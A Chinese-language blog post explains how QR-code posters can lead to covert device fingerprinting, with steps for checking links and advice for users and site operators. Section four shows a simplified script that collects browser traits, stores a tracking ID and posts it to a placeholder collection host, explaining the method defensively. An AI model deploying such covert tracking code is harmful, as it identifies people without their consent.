越想越生气,我把这种“二维码海报”的链路追完了:你点一下,它能记住你的设备指纹

前几天在地铁站看到一张“扫码抽奖”的海报,顺手扫一扫,页面一闪,就跳到一个很简单的表单——看起来只是领取优惠券。后来我细挖了一下这类二维码背后的链路,结果越看越气:你以为只是一次普通点击,实际上可能已经给对方留下了“设备指纹”,哪怕你没注册、没登录,它也能把你设备唯一化,随后在别处再次识别你。
下面把我追链的过程、常用的指纹手段、如何验证这种链路,以及普通用户和站方能做什么,一点点说清楚,方便你看清、甄别、以及自保。
一、典型的“二维码海报”链路(简化版)
- 海报二维码 -> 带追踪参数的短链或域名(例如 http://t.cn/xxxx?d=xxx)
- 短链服务 -> 跳转到中间计数页(记录点击)
- 中间页加载 JS 收集浏览器/设备信息(并返回一个 uid)
- 服务器通过 Set-Cookie / localStorage / ETag / Service Worker 将 uid 持久化到设备
- 最终跳转到落地页(优惠页面、表单、第三方 H5 页面等)
- 后续任何访问同一追踪域或集成方的页面,通过 uid 或相同的指纹算法就能认出你
看起来只是几次跳转,但关键在中间页的 JS,它能做大量信息收集和“再识别”。
二、常见的设备指纹采集手法(谁都能用,也很难察觉)
- HTTP 请求层面:记录 IP、User-Agent、Accept-Language、连接特征(HTTP/2/1.1)、TLS 指纹等。
- 浏览器指纹:navigator.userAgent、platform、language、timezone、screen/resolution、deviceMemory、hardwareConcurrency、plugins、mimeTypes。
- Canvas / WebGL 指纹:通过绘图 API 的细微渲染差异生成哈希。
- AudioContext 指纹:利用音频渲染差异。
- 字体枚举:检测系统字体可用性。
- Touch/Pointer/Screen 等硬件特性。
- 本地存储:cookie、localStorage、IndexedDB、sessionStorage。
- ETag 或缓存滥用:用缓存资源的 ETag 来标记用户并通过304判断是否访问过。
- Service Worker / Cache API:注册后可以更长期持久化和拦截请求。
- URL 参数 + 中继域名:把唯一 id 放在 URL 上,后续跳转带着识别。
- 第三方 SDK / 内置浏览器信息:在微信/支付宝内置浏览器里,页面还能拿到额外的 UA 与 header 特征,某些场景下会有更高效的长链追踪能力。
三、我怎么“追链”的(普通人也能复现的检测思路) 我不鼓励任何不当入侵行为,但如果你想验证某个二维码或链接是否在做指纹化留存,可以按这些步骤自查:
- 先用能显示真实 URL 的扫码工具预览链接,不要直接在内置客户端上打开。
- 在桌面端或移动端浏览器打开被扫码的链接,打开开发者工具的 Network 面板。观察以下点:
- 是否有多次跳转(3xx)到不同域名?
- 查看响应头里是否有 Set-Cookie / ETag / Cache-Control / Service-Worker 注册脚本等。
- 使用 curl 检查跳转与响应头:
- curl -I -L '短链或二维码链接' 可以看到每一步的重定向与响应头(-I 只请求头,-L 跟随重定向)。
- 观察页面加载的 JS:在 DevTools 的 Sources/Network 里找可疑脚本,打开看是否在收集 navigator、canvas 等数据并发到某个上报域。
- 在浏览器控制台注入断点(或在 Network 里断点 XHR/fetch),看看数据上报的内容。
- 在手机上,可用 Charles/Fiddler/mitmproxy 做代理(须合法合规,个人用于测试自有设备时可以),观察 HTTPS 流量链路与请求体。
- 检查 localStorage/cookies/IndexedDB:有没有突然出现陌生的 key 或 uid。
通过这些步骤,你通常可以判断出:是否有“采集并持久化一个可用于再识别的 id”。
四、一个典型的指纹化并持久化的 JS(简化示例,说明原理) 下面是非常简化的伪代码,说明攻击者如何把指纹哈希化并存下来,再上报给服务器:
var fingerprint = { ua: navigator.userAgent, lang: navigator.language, screen: screen.width + 'x' + screen.height, timezone: Intl.DateTimeFormat().resolvedOptions().timeZone // 还可能包含 canvas/webgl/hash 等 }; var id = hash(JSON.stringify(fingerprint)); // 生成一个“唯一”id localStorage.setItem('tracker_id', id); // 或 document.cookie = 'tid=' + id fetch('https://track.example.com/collect', { method: 'POST', body: JSON.stringify({ id: id, fp: fingerprint }) });
关键点:哪怕你清空 cookies,只要 localStorage、IndexedDB、缓存(ETag)、Service Worker 等还在,或下次访问又通过同样的指纹算法生成了相同 id,对方依然能“认出你”。
五、为什么这事更可恶(不只是“营销追踪”那么简单)
- 隐私侵蚀:不需要注册就能持续识别某台设备,跨站追踪能力等于把你当成可被标记的物体。
- 去中心化和隐蔽化:很多短链、中间域名、第三方托管的 JS,让整个链路不透明,普通用户难以察觉源头是谁。
- 长期性:通过 Service Worker 或缓存滥用,追踪能存在很久,清理 cookie 并不总管用。
- 联合识别:多个数据点(地理、浏览行为、时间窗口)与该 uid 合并后,能够建立更精确的用户画像。
- 合规与信任问题:用户未明确同意的识别和持久化,容易触碰隐私红线,破坏品牌信任。
六、普通用户可以怎么做(务实可行的防护)
- 扫码前预览 URL:优先使用能预览链接的扫码工具,确认域名再打开。
- 尽量用独立浏览器打开:避免直接在微信/QQ/支付宝内置浏览器里完成所有操作,复制链接到隐私/无痕浏览器打开可减少暴露。
- 禁用或限制 JS(对大多数用户不友好):在必须保护时可以考虑用无脚本浏览或专门的隐私浏览器。
- 清理并隔离存储:定期清理浏览器存储(localStorage/IndexedDB),或使用隐私浏览窗口。
- 使用隐私保护浏览器或扩展:桌面端可用 uBlock Origin、Privacy Badger、CanvasBlocker 等。移动端可以使用 Firefox Focus、Brave 等来降低指纹攻击面。
- 对较敏感需求,考虑用临时设备或专门的“影子设备/浏览器”来扫码和操作。
这些办法不能百分百阻止所有指纹化,但能大幅降低被长期识别和跨域跟踪的概率。
七、站方或运营该怎么做(负责任的建议)
- 明示用途与获得同意:如果确实需要做数据采集与识别,应当向用户明确说明并征得同意。
- 避免滥用持久化手段:不要借用 ETag 或缓存策略做隐蔽的“回头客识别”。
- 限时和最低必要原则:只在最短时间、为最小目的保存识别信息。
- 提供清除/退出机制:给用户可视化的清除跟踪标识与退出选项。
- 安全审计与第三方代码检查:很多指纹库和统计脚本来自第三方,审计其行为与数据上报域名,避免被“外包的黑箱”利用。
遵守合规和尊重用户隐私,不但能避免法律风险,更利于长期品牌信任。
八、我想提醒你几件事(说完就闭嘴)
- 扫码不是无代价的随手行为。尤其是街头海报、社交二维码、线下活动链接,背后可能隐藏着跨域跟踪逻辑。
- 技术上“能做到”的,并不等于“就应该做”。当你能在设备上生成且保存一个唯一 id 并在未来重识别,那就是在做一种持久化的标记。
- 作为普通人,多一分警惕少一分损失;作为站方,多一分透明少一分麻烦。
结语 那张地铁海报我最后没领到什么大奖,只是被那一连串隐蔽的追踪流程气到了。对方把“扫码”当成了低成本、难被察觉的长期识别入口,而普通用户却并不清楚自己在无意间被贴上了标签。希望你读完这篇能多一分警觉,也希望越来越多的运营方能把用户的知情权放在第一位——别用技术偷摸着做“长期识别”,那只会让人越想越生气。
- 看一看你手里那张二维码对应的 URL(只需把链接发给我),给你一步步分析;或者
- 把我追链时用的检查清单发给你,方便你自己快速判断一个二维码是否“可疑”。
你想怎么做?









